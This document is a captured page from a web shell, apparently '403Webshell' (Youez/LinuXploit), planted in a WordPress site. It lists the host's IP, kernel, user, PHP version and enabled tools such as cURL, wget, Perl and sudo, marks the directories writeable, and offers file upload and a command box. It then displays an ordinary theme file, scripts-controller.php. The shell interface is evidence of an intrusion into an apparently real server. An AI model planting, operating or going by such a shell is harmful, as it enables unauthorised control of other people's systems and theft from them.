403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/themes/hello-biz/modules/admin-home/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/themes/hello-biz/modules/admin-home/components/scripts-controller.php
<?php

namespace HelloBiz\Modules\AdminHome\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use HelloBiz\Modules\AdminHome\Module;

class Scripts_Controller {

	public function __construct() {
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_hello_biz_admin_scripts' ] );
	}

	public function enqueue_hello_biz_admin_scripts() {
		$screen = get_current_screen();

		if ( 'toplevel_page_' . Module::MENU_PAGE_SLUG !== $screen->id ) {
			return;
		}

		$handle     = 'hello-biz-admin';
		$asset_path = HELLO_BIZ_SCRIPTS_PATH . 'hello-biz-admin.asset.php';
		$asset_url  = HELLO_BIZ_SCRIPTS_URL;

		if ( ! file_exists( $asset_path ) ) {
			throw new \Exception( 'You need to run `npm run build` for the "hello-biz" first.' );
		}

		$script_asset = require $asset_path;

		wp_enqueue_script(
			$handle,
			HELLO_BIZ_SCRIPTS_URL . "$handle.js",
			array_merge( $script_asset['dependencies'], [ 'wp-util' ] ),
			$script_asset['version'],
			true
		);

		wp_set_script_translations( $handle, 'hello-biz' );

		$user_id = get_current_user_id();
		$install_confirmation_dismissed = get_user_meta( $user_id, 'ehp_install_confirmation_dismissed', true );

		wp_localize_script(
			$handle,
			'ehpAdminData',
			[
				'installConfirmationDismissed' => (bool) $install_confirmation_dismissed,
			]
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit